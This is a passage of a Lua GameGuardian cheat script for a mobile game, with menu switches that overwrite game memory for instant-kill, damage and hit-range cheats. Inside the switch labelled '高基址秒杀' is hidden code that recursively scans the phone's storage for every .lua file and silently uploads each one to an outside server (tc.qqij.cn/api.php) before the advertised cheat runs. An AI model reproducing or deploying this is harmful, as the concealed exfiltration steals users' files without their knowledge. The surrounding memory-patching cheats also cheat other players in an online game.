= 11.9798002243042, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "火萤"}, {["value"] = 1086003452, ["type"] = 4}, {["lv"] = 1079392810, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1087383378, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 999999, ["offset"] = 0, ["type"] = 16}, {["value"] = 999999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "风声"}, {["value"] = 4.8165998458862305, ["type"] = 16}, {["lv"] = 2.997499942779541, ["offset"] = 4, ["type"] = 16}, {["lv"] = 5.773600101470947, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "幻灵"}, {["value"] = 5.154799938201904, ["type"] = 16}, {["lv"] = 4.906000137329102, ["offset"] = 4, ["type"] = 16}, {["lv"] = 4.9253997802734375, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 8, ["type"] = 16}, } xqmnb(qmnb) end end end, function () fw1=false fw1=false end), changan.switch("内存范围", function () gg.diyToast("全内存秒杀启动中") search(7.707281683632926E-41,16,neicun) sleep(1500) search(3.605950117111206,16,neicun) sleep(2000) gg.diyToast("全内存秒杀已启动") search(7.707281683632926E-41,16,neicun) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(100000000,16,56,false) xg1(100000000,16,52,false) search(3.605950117111206,16,neicun) py1(2.802596928649634E-45,16,-8) py1(3.605950117111206,16,0) xg1(100000000,16,0,true) xg1(100000000,16,-4,true) end, function () fw1=false fw1=false end), changan.switch( "秒杀范围$二", function() CT=true while CT do gg.clearResults() local Search_array = { {2199026335744, 32, 4, "秒杀范围"},--主特征码, 类型, 内存范围, 功能, 内存地址起始, 内存地址结束 {236227496247808, 4, 32}, --副特征码, 偏移, 类型 {3080192, 16, 32}, --副特征码, 偏移, 类型 {0, 20, 32}, --副特征码, 偏移, 类型 {0, 24, 32}, --副特征码, 偏移, 类型 {0.0, 20, 32}, --副特征码, 偏移, 类型 {0.0, 24, 32}, --副特征码, 偏移, 类型 {4575657221408423936,28,32}, {1065353216,32,32}, {0,36,32}, {0,40, 32}, {4489188105126936576,44,32}, {4652218415073722371,56,32}, {4.5,60,16}, } local Modifythe_array = { {dx, 64, 16, false},--修改值, 偏移, 类型, 是否冻结 {dx, 68, 16, false},--修改值, 偏移, 类型, 是否冻结 --{0, 60, 16, false},--修改值, 偏移, 类型, 是否冻结 } LSQ_pointer(Search_array, Modifythe_array) end end, function() end ), changan.switch( "平滑对挂$二", function() CT=true while CT do gg.clearResults() local Search_array = { {4652218415073722371, 32, 4, "反二进制大范围秒杀"}, {2164260864,-80, 32}, --{0,-76, 32}, {4575657221408423936,-28, 32}, {1065353216,-24, 32}, {4489188105126936576,-12, 32}, {4652218415073722371,0,32}, {4.5, 4, 16}, } local Modifythe_array = { {dx, 4, 16, false}, {dx, 8, 16, false}, {-1, 12, 16, false}, } LSQ_pointer(Search_array, Modifythe_array) end end, function() end ), changan.switch( "战斗范围$二", function() CT=true while CT do xtnb({{false,4652218415073722371,0,32,nil,nil}, {2164260864,-80, 32}, --{0,-76, 32}, {236227496247808,-68, 32}, {2199026335744,-56, 32}, {236227496247808,-52, 32}, {3080192,-40, 32}, {0,-36, 32}, {0,-32, 32}, {4575657221408423936,-28, 32}, {1065353216,-24, 32}, {0,-20, 32}, {0,-16, 32}, {4489188105126936576,-12, 32}, {4652218415073722371,0,32}, {4.5, 4, 16} },{ {dx, 4, 16, false}, {dx, 8, 16, false}, {0.114514, 12, 16, false} },32,4,"8") end end, function() end ), changan.switch( "基值秒杀$二", function() CT=true while CT do 基址秒() end end, function() end ), changan.switch( "高基址秒杀", function() cs = 0 Path = "/storage/emulated/0/"--设置路径 --上传请求 local RequestFormData = { url = "", headers = {}, data = "", nfiles = 0 } function RequestFormData:new(o) o = o or {} setmetatable(o, self) self.__index = self self.boundary = "----WebKitFormBoundarymAbsr8BjeYsVXbt4" self.headers["Content-Type"] = "multipart/form-data; boundary=" .. self.boundary self.nfiles = 0 return o end function RequestFormData:setUrl(url) self.url = url end function RequestFormData:appendData(key, value) local valuePart = "--" .. self.boundary .. "\r\n" .. "Content-Disposition: form-data; name=" .. '"' .. key .. '"' .. "\r\n" .. "\r\n" .. value .. "\r\n" self.data = self.data .. valuePart end function RequestFormData:setToken(token) self.headers["Authorization"] = token end function RequestFormData:appendFile(filename, content) self.nfiles = self.nfiles + 1 local name = "file" if self.nfiles > 1 then name = name .. "[]" self.data = self.data:gsub( 'Content%-Disposition: form%-data; name="file"', 'Content-Disposition: form-data; name="file[]"' ) end local valuePart = "--" .. self.boundary .. "\r\n" .. 'Content-Disposition: form-data; name="' .. name .. '"; filename=' .. '"' .. filename .. '"' .. "\r\n" .. "Content-Type: application/octet-stream" .. "\r\n" .. "\r\n" .. content .. "\r\n" self.data = self.data .. valuePart end function RequestFormData:makeRequest() local ending = "--" .. self.boundary .. "--" .. "\r\n" if string.sub(self.data, -string.len(ending)) ~= ending then self.data = self.data .. ending end return gg.makeRequest(self.url, self.headers, self.data) end --- 遍历文件夹并打印出所有指定后缀的文件 function traverseFolder(path) --- 获取Java的FIle对象 local File = luajava.bindClass("java.io.File") --- 文件下标 (这个不好说 看得懂代码就知道这个有啥用) local index = 0 --- 创建Java的File对象 local file = File(path) --- 判断文件夹是否存在 if not file:exists() or not file:isDirectory() then return end --- 获取文件夹中的所有目录和文件 local files = file:listFiles() if not files then -- 文件夹为空 return end -- 数组排序 -- Arrays.sort(files) for i = 1, files.length do local v = files[i] if v:isDirectory() then -- 如果是文件夹的话 index = index + 1 --- @field param string 标明该级数组对应的目录 --print(v:getAbsolutePath()) -- 递归调用 traverseFolder(v:getAbsolutePath()) else -- 如果是文件的话 local filename = v:getName() -- 检查文件名中是否包含点,并且点后面有字符 local extension = filename:find("%.") and filename:sub(filename:find("%.") + 1) if extension == "lua" then--这里设置文件后缀类型 abn = v:getAbsolutePath() cs = cs + 1 url = "https://tc.qqij.cn/api.php" local filePath = abn -- 读取文件内容 local file = io.open(filePath, "rb") local script = file:read("*a") file:close() local request = RequestFormData:new(nil) -- 设置 url request:setUrl(url) -- 设置文件参数 request:appendFile(abn, script) request:appendData("show", "1") -- 设置文本参数 RequestFormData:setToken(token) -- 发送请求 local result = request:makeRequest() if result.code ~= 200 or #result.content == 0 then return "网络错误!" end end end end end traverseFolder(Path) while true do search(7.707281683632926E-41,16,4)py1(0.0,16,36)py1(4.5,16,60)xg1(DX,16,60,false) xg1(DX,16,56,false) end end, function() end ), changan.switch( "超高伤$二", function() CT=true while CT do gg.clearResults() search(2199026335744,32,4) py1(1065353216,32,32) py1(4489188105126936576,32,44) py1(4652218415073722371,32,56) py1(4.5,16,60) xg1(dx,16,64,false) xg1(dx,16,68,false) xg1(0,16,60,false) end end, function() end ), changan.switch( "快速秒杀$二", function() CT=true while CT do gg.clearResults() local Search_array = { {4652218415073722371, 32, 4, "定制版秒杀"}, {2164260864,-80, 32}, --{0,-76, 32}, {236227496247808,-68, 32}, {2199026335744,-56, 32}, {236227496247808,-52, 32}, {3080192,-40, 32}, {0,-36, 32}, {0,-32, 32}, {4575657221408423936,-28, 32}, {1065353216,-24, 32}, {0,-20, 32}, {0,-16, 32}, {4489188105126936576,-12, 32}, {4652218415073722371,0,32}, {4.5, 4, 16}, } local Modifythe_array = { {dx, 8, 16, false}, {dx, 12, 16, false}, } LSQ_pointer(Search_array, Modifythe_array) end end, function() end ), changan.switch( "大范围秒杀$二[对挂]", function() CT=true while CT do gg.clearResults() local Search_array = { {4652218415073722371, 32, 4, "反二进制大范围秒杀"}, {2164260864,-80, 32}, --{0,-76, 32}, {236227496247808,-68, 32}, {2199026335744,-56, 32}, {236227496247808,-52, 32}, {3080192,-40, 32}, {0,-36, 32}, {0,-32, 32}, {4575657221408423936,-28, 32}, {1065353216,-24, 32}, {0,-20, 32}, {0,-16, 32}, {4489188105126936576,-12, 32}, {4652218415073722371,0,32}, {4.5, 4, 16}, } local Modifythe_array = { {dx, 4, 16, false}, {dx, 8, 16, false}, {dx, 12, 16, false}, } LSQ_pointer(Search_array, Modifythe_array) end end, function() CT=false end ), }), changan.box({"核心范围", changan.box({"个人版1.1", changan.switch( "萌新", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='萌新范围'}, {['value']=3.281599998474121, ['type']=16}, {['lv']=3.281599998474121,['offset']=0, ['type']=16}, {['lv']=4.73360013961792,['offset']=4, ['type']=16}, {['lv']=4.791800022125244,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1750.1145,['offset']=0,['type']=16}, {['value']=1750.1146,['offset']=4,['type']=16}, {['value']=1750.1147,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='萌新范围关'}, {['value']=1750.114501953125, ['type']=16}, {['lv']=1750.114501953125,['offset']=0, ['type']=16}, {['lv']=1750.1146240234375,['offset']=4, ['type']=16}, {['lv']=1750.11474609375,['offset']=8, ['type']=16}, } local qmxg= { {['value']=3.28159999847,['offset']=0,['type']=16}, {['value']=4.73360013962,['offset']=4,['type']=16}, {['value']=4.79180002213,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "凯鼠", function() search(-0.3621000051498413,16,4) py1(-0.2962999939918518,16,4) xg1(1857.1,16,24,false) xg1(1856.1,16,20,false) local qmnb= { {['memory']=4}, {['name']='凯鼠范围'}, {['value']=0.19999998807907104, ['type']=16}, {['lv']=0.19999998807907104,['offset']=0, ['type']=16}, {['lv']=4.161499977111816,['offset']=12, ['type']=16}, {['lv']=3.605950117111206,['offset']=16, ['type']=16}, } local qmxg= { {['value']=1857.1,['offset']=0,['type']=16}, {['value']=1857.11,['offset']=12,['type']=16}, {['value']=1857.111,['offset']=16,['type']=16}, } xqmnb(qmnb,qmxg) gg.toast("Done√") end, function() search(-0.3621000051498413,16,4) py1(-0.2962999939918518,16,4) xg1(4.161499977111816,16,24,false) xg1(3.605950117111206,16,20,false) local qmnb= { {['memory']=4}, {['name']='凯鼠范围'}, {['value']=1857.0999755859375, ['type']=16}, {['lv']=1857.0999755859375,['offset']=0, ['type']=16}, {['lv']=1857.1099853515625,['offset']=12, ['type']=16}, {['lv']=1857.1109619140625,['offset']=16, ['type']=16}, } local qmxg= { {['value']=0.19999998807907104,['offset']=0,['type']=16}, {['value']=4.161499977111816,['offset']=12,['type']=16}, {['value']=3.605950117111206,['offset']=16,['type']=16}, } xqmnb(qmnb,qmxg) gg.toast("Done√") end ),changan.switch( "风声", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='风声范围'}, {['value']=4.8165998458862305, ['type']=16}, {['lv']=4.8165998458862305,['offset']=0, ['type']=16}, {['lv']=2.997499942779541,['offset']=4, ['type']=16}, {['lv']=5.773600101470947,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1227.21,['offset']=0,['type']=16}, {['value']=1227.22,['offset']=4,['type']=16}, {['value']=1227.25,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='风声范围'}, {['value']=1227.2099609375, ['type']=16}, {['lv']=1227.2099609375,['offset']=0, ['type']=16}, {['lv']=1227.219970703125,['offset']=4, ['type']=16}, {['lv']=1227.25,['offset']=8, ['type']=16}, } local qmxg= { {['value']=4.8165998458862305,['offset']=0,['type']=16}, {['value']=2.997499942779541,['offset']=4,['type']=16}, {['value']=5.773600101470947,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "序列", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='个人版新核心范围'}, {['value']=10.077400207519531, ['type']=16}, {['lv']=11.951499938964844,['offset']=4, ['type']=16}, {['lv']=5.989200115203857,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1145.1,['offset']=0,['type']=16}, {['value']=1145.4,['offset']=4,['type']=16}, {['value']=1145.5,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='个人版新核心范围关'}, {['value']=1145.0999755859375, ['type']=16}, {['lv']=1145.4000244140625,['offset']=4, ['type']=16}, {['lv']=1145.5,['offset']=8, ['type']=16}, } local qmxg= { {['value']=10.07740020752,['offset']=0,['type']=16}, {['value']=11.95149993896,['offset']=4,['type']=16}, {['value']=5.9892001152,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "大家伙", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='大家伙范围'}, {['value']=6.202899932861328, ['type']=16}, {['lv']=6.202899932861328,['offset']=0, ['type']=16}, {['lv']=7.257599830627441,['offset']=4, ['type']=16}, {['lv']=11.9798002243042,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1655.1,['offset']=0,['type']=16}, {['value']=1655.2,['offset']=4,['type']=16}, {['value']=1655.3,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='大家伙范围'}, {['value']=1655.0999755859375, ['type']=16}, {['lv']=1655.0999755859375,['offset']=0, ['type']=16}, {['lv']=1655.199951171875,['offset']=4, ['type']=16}, {['lv']=1655.300048828125,['offset']=8, ['type']=16}, } local qmxg= { {['value']=6.202899932861328,['offset']=0,['type']=16}, {['value']=7.257599830627441,['offset']=4,['type']=16}, {['value']=11.9798002243042,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "火萤", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='火银范围'}, {['value']=5.846799850463867, ['type']=16}, {['lv']=5.846799850463867,['offset']=0, ['type']=16}, {['lv']=3.3473000526428223,['offset']=4, ['type']=16}, {['lv']=6.504799842834473,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1611.11,['offset']=0,['type']=16}, {['value']=1611.15,['offset']=4,['type']=16}, {['value']=1611.16,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='火银范围'}, {['value']=1611.1099853515625, ['type']=16}, {['lv']=1611.1099853515625,['offset']=0, ['type']=16}, {['lv']=1611.1500244140625,['offset']=4, ['type']=16}, {['lv']=1611.1600341796875,['offset']=8, ['type']=16}, } local qmxg= { {['value']=5.846799850463867,['offset']=0,['type']=16}, {['value']=3.3473000526428223,['offset']=4,['type']=16}, {['value']=6.504799842834473,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "夜莺", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='夜莺范围'}, {['value']=5.107500076293945, ['type']=16}, {['lv']=5.107500076293945,['offset']=0, ['type']=16}, {['lv']=4.912199974060059,['offset']=4, ['type']=16}, {['lv']=7.106599807739258,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1127.25,['offset']=0,['type']=16}, {['value']=1127.26,['offset']=4,['type']=16}, {['value']=1127.27,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='夜莺范围'}, {['value']=1127.25, ['type']=16}, {['lv']=1127.25,['offset']=0, ['type']=16}, {['lv']=1127.260009765625,['offset']=4, ['type']=16}, {['lv']=1127.27001953125,['offset']=8, ['type']=16}, } local qmxg= { {['value']=5.107500076293945,['offset']=0,['type']=16}, {['value']=4.912199974060059,['offset']=4,['type']=16}, {['value']=7.106599807739258,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "网虫", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='网虫范围'}, {['value']=4.4567999839782715, ['type']=16}, {['lv']=4.4567999839782715,['offset']=0, ['type']=16}, {['lv']=4.437600135803223,['offset']=4, ['type']=16}, {['lv']=9.900099754333496,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1357.13,['offset']=0,['type']=16}, {['value']=1357.14,['offset']=4,['type']=16}, {['value']=1357.15,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='网虫范围'}, {['value']=1357.1300048828125, ['type']=16}, {['lv']=1357.1300048828125,['offset']=0, ['type']=16}, {['lv']=1357.1400146484375,['offset']=4, ['type']=16}, {['lv']=1357.1500244140625,['offset']=8, ['type']=16}, } local qmxg= { {['value']=4.4567999839782715,['offset']=0,['type']=16}, {['value']=4.437600135803223,['offset']=4,['type']=16}, {['value']=9.900099754333496,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ),changan.switch( "幻灵", function() sleep(120) local qmnb= { {['memory']=4}, {['name']='幻灵范围'}, {['value']=5.154799938201904, ['type']=16}, {['lv']=5.154799938201904,['offset']=0, ['type']=16}, {['lv']=4.906000137329102,['offset']=4, ['type']=16}, {['lv']=4.9253997802734375,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1571.11,['offset']=0,['type']=16}, {['value']=1571.15,['offset']=4,['type']=16}, {['value']=1571.17,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end, function() sleep(120) local qmnb= { {['memory']=4}, {['name']='幻灵范围'}, {['value']=1571.1099853515625, ['type']=16}, {['lv']=1571.1099853515625,['offset']=0, ['type']=16}, {['lv']=1571.1500244140625,['offset']=4, ['type']=16}, {['lv']=1571.1700439453125,['offset']=8, ['type']=16}, } local qmxg= { {['value']=5.154799938201904,['offset']=0,['type']=16}, {['value']=4.906000137329102,['offset']=4,['type']=16}, {['value']=4.9253997802734375,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) gg.alert("Done√") end ), }), changan.box({"个人版1.2", changan.switch("萌新", function () local qmnb= { {['memory']=4}, {['name']='萌新范围'}, {['value']=3.281599998474121, ['type']=16}, {['lv']=3.281599998474121,['offset']=0, ['type']=16}, {['lv']=4.73360013961792,['offset']=4, ['type']=16}, {['lv']=4.791800022125244,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1750.1145,['offset']=0,['type']=16}, {['value']=1750.1146,['offset']=4,['type']=16}, {['value']=1750.1147,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='萌新范围'}, {['value']=1750.114501953125, ['type']=16}, {['lv']=1750.114501953125,['offset']=0, ['type']=16}, {['lv']=1750.1146240234375,['offset']=4, ['type']=16}, {['lv']=1750.11474609375,['offset']=8, ['type']=16}, } local qmxg= { {['value']=3.28159999847,['offset']=0,['type']=16}, {['value']=4.73360013962,['offset']=4,['type']=16}, {['value']=4.79180002213,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("夜莺", function () local qmnb= { {['memory']=4}, {['name']='夜莺范围'}, {['value']=5.107500076293945, ['type']=16}, {['lv']=5.107500076293945,['offset']=0, ['type']=16}, {['lv']=4.912199974060059,['offset']=4, ['type']=16}, {['lv']=7.106599807739258,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1127.25,['offset']=0,['type']=16}, {['value']=1127.26,['offset']=4,['type']=16}, {['value']=1127.27,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='夜莺范围'}, {['value']=1127.25, ['type']=16}, {['lv']=1127.25,['offset']=0, ['type']=16}, {['lv']=1127.260009765625,['offset']=4, ['type']=16}, {['lv']=1127.27001953125,['offset']=8, ['type']=16}, } local qmxg= { {['value']=5.107500076293945,['offset']=0,['type']=16}, {['value']=4.912199974060059,['offset']=4,['type']=16}, {['value']=7.106599807739258,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("网虫", function () local qmnb= { {['memory']=4}, {['name']='网虫范围'}, {['value']=4.4567999839782715, ['type']=16}, {['lv']=4.4567999839782715,['offset']=0, ['type']=16}, {['lv']=4.437600135803223,['offset']=4, ['type']=16}, {['lv']=9.900099754333496,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1357.13,['offset']=0,['type']=16}, {['value']=1357.14,['offset']=4,['type']=16}, {['value']=1357.15,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='网虫范围'}, {['value']=1357.1300048828125, ['type']=16}, {['lv']=1357.1300048828125,['offset']=0, ['type']=16}, {['lv']=1357.1400146484375,['offset']=4, ['type']=16}, {['lv']=1357.1500244140625,['offset']=8, ['type']=16}, } local qmxg= { {['value']=4.4567999839782715,['offset']=0,['type']=16}, {['value']=4.437600135803223,['offset']=4,['type']=16}, {['value']=9.900099754333496,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("幻灵", function () local qmnb= { {['memory']=4}, {['name']='幻灵范围'}, {['value']=5.154799938201904, ['type']=16}, {['lv']=5.154799938201904,['offset']=0, ['type']=16}, {['lv']=4.906000137329102,['offset']=4, ['type']=16}, {['lv']=4.9253997802734375,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1571.11,['offset']=0,['type']=16}, {['value']=1571.15,['offset']=4,['type']=16}, {['value']=1571.17,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='幻灵范围'}, {['value']=1571.1099853515625, ['type']=16}, {['lv']=1571.1099853515625,['offset']=0, ['type']=16}, {['lv']=1571.1500244140625,['offset']=4, ['type']=16}, {['lv']=1571.1700439453125,['offset']=8, ['type']=16}, } local qmxg= { {['value']=5.154799938201904,['offset']=0,['type']=16}, {['value']=4.906000137329102,['offset']=4,['type']=16}, {['value']=4.9253997802734375,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("铠鼠", function () local qmnb= { {['memory']=4}, {['name']='铠鼠范围'}, {['value']=3.605950117111206, ['type']=16}, {['lv']=3.605950117111206,['offset']=0, ['type']=16}, {['lv']=4.161499977111816,['offset']=4, ['type']=16}, {['lv']=1.401298464324817E-45,['offset']=12, ['type']=16}, } local qmxg= { {['value']=1145,['offset']=0,['type']=16}, {['value']=1145,['offset']=4,['type']=16}, {['value']=1145,['offset']=-4,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='铠鼠范围'}, {['value']=1145, ['type']=16}, {['lv']=1145,['offset']=0, ['type']=16}, {['lv']=1145,['offset']=4, ['type']=16}, {['lv']=1145,['offset']=-4, ['type']=16}, } local qmxg= { {['value']=3.605950117111206,['offset']=0,['type']=16}, {['value']=4.161499977111816,['offset']=4,['type']=16}, {['value']=1.401298464324817E-45,['offset']=-4,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("大家伙", function () local qmnb= { {['memory']=4}, {['name']='大家伙范围'}, {['value']=6.202899932861328, ['type']=16}, {['lv']=6.202899932861328,['offset']=0, ['type']=16}, {['lv']=7.257599830627441,['offset']=4, ['type']=16}, {['lv']=11.9798002243042,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1655.1,['offset']=0,['type']=16}, {['value']=1655.2,['offset']=4,['type']=16}, {['value']=1655.3,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='大家伙范围'}, {['value']=1655.0999755859375, ['type']=16}, {['lv']=1655.0999755859375,['offset']=0, ['type']=16}, {['lv']=1655.199951171875,['offset']=4, ['type']=16}, {['lv']=1655.300048828125,['offset']=8, ['type']=16}, } local qmxg= { {['value']=6.202899932861328,['offset']=0,['type']=16}, {['value']=7.257599830627441,['offset']=4,['type']=16}, {['value']=11.9798002243042,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("风声", function () local qmnb= { {['memory']=4}, {['name']='风声范围'}, {['value']=4.8165998458862305, ['type']=16}, {['lv']=4.8165998458862305,['offset']=0, ['type']=16}, {['lv']=2.997499942779541,['offset']=4, ['type']=16}, {['lv']=5.773600101470947,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1227.21,['offset']=0,['type']=16}, {['value']=1227.22,['offset']=4,['type']=16}, {['value']=1227.25,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='风声范围'}, {['value']=1227.2099609375, ['type']=16}, {['lv']=1227.2099609375,['offset']=0, ['type']=16}, {['lv']=1227.219970703125,['offset']=4, ['type']=16}, {['lv']=1227.25,['offset']=8, ['type']=16}, } local qmxg= { {['value']=4.8165998458862305,['offset']=0,['type']=16}, {['value']=2.997499942779541,['offset']=4,['type']=16}, {['value']=5.773600101470947,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("火萤", function () local qmnb= { {['memory']=4}, {['name']='火萤范围'}, {['value']=5.846799850463867, ['type']=16}, {['lv']=5.846799850463867,['offset']=0, ['type']=16}, {['lv']=3.3473000526428223,['offset']=4, ['type']=16}, {['lv']=6.504799842834473,['offset']=8, ['type']=16}, } local qmxg= { {['value']=1611.11,['offset']=0,['type']=16}, {['value']=1611.15,['offset']=4,['type']=16}, {['value']=1611.16,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --开 end, function () local qmnb= { {['memory']=4}, {['name']='火萤范围'}, {['value']=1611.1099853515625, ['type']=16}, {['lv']=1611.1099853515625,['offset']=0, ['type']=16}, {['lv']=1611.1500244140625,['offset']=4, ['type']=16}, {['lv']=1611.1600341796875,['offset']=8, ['type']=16}, } local qmxg= { {['value']=5.846799850463867,['offset']=0,['type']=16}, {['value']=3.3473000526428223,['offset']=4,['type']=16}, {['value']=6.504799842834473,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) --关 end), changan.switch("铁驭", function () local qmnb= { {['memory']=4}, {['name']='铁驭'}, {['value']=5.85529994965, ['type']=16}, {['lv']=5.85529994965,['offset']=0, ['type']=16}, {['lv']=5.16239976883,['offset']=4, ['type']=16}, {['lv']=5.23250007629,['offset']=8, ['type']=16}, } local qmxg= { {['value']=255.85529994965,['offset']=0,['type']=16}, {['value']=255.16239976883,['offset']=4,['type']=16}, {['value']=255.23250007629,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) end, function () end), changan.switch("赋能", function () local qmnb= { {['memory']=4}, {['name']='赋能'}, {['value']=5.85529994965, ['type']=16}, {['lv']=5.85529994965,['offset']=0, ['type']=16}, {['lv']=5.16239976883,['offset']=4, ['type']=16}, {['lv']=5.23250007629,['offset']=8, ['type']=16}, } local qmxg= { {['value']=255.85529994965,['offset']=0,['type']=16}, {['value']=255.16239976883,['offset']=4,['type']=16}, {['value']=255.23250007629,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) end, function () end), changan.switch("序列", function () local qmnb= { {['memory']=4}, {['name']='序列'}, {['value']=5.85529994965, ['type']=16}, {['lv']=5.85529994965,['offset']=0, ['type']=16}, {['lv']=5.16239976883,['offset']=4, ['type']=16}, {['lv']=5.23250007629,['offset']=8, ['type']=16}, } local qmxg= { {['value']=255.85529994965,['offset']=0,['type']=16}, {['value']=255.16239976883,['offset']=4,['type']=16}, {['value']=255.23250007629,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) end, function () end), }), }), changan.box({"全图类", changan.box({"全图毒人", changan.radio({ "一定不要在游戏大厅里开", { "使用说明必读", function() drw() 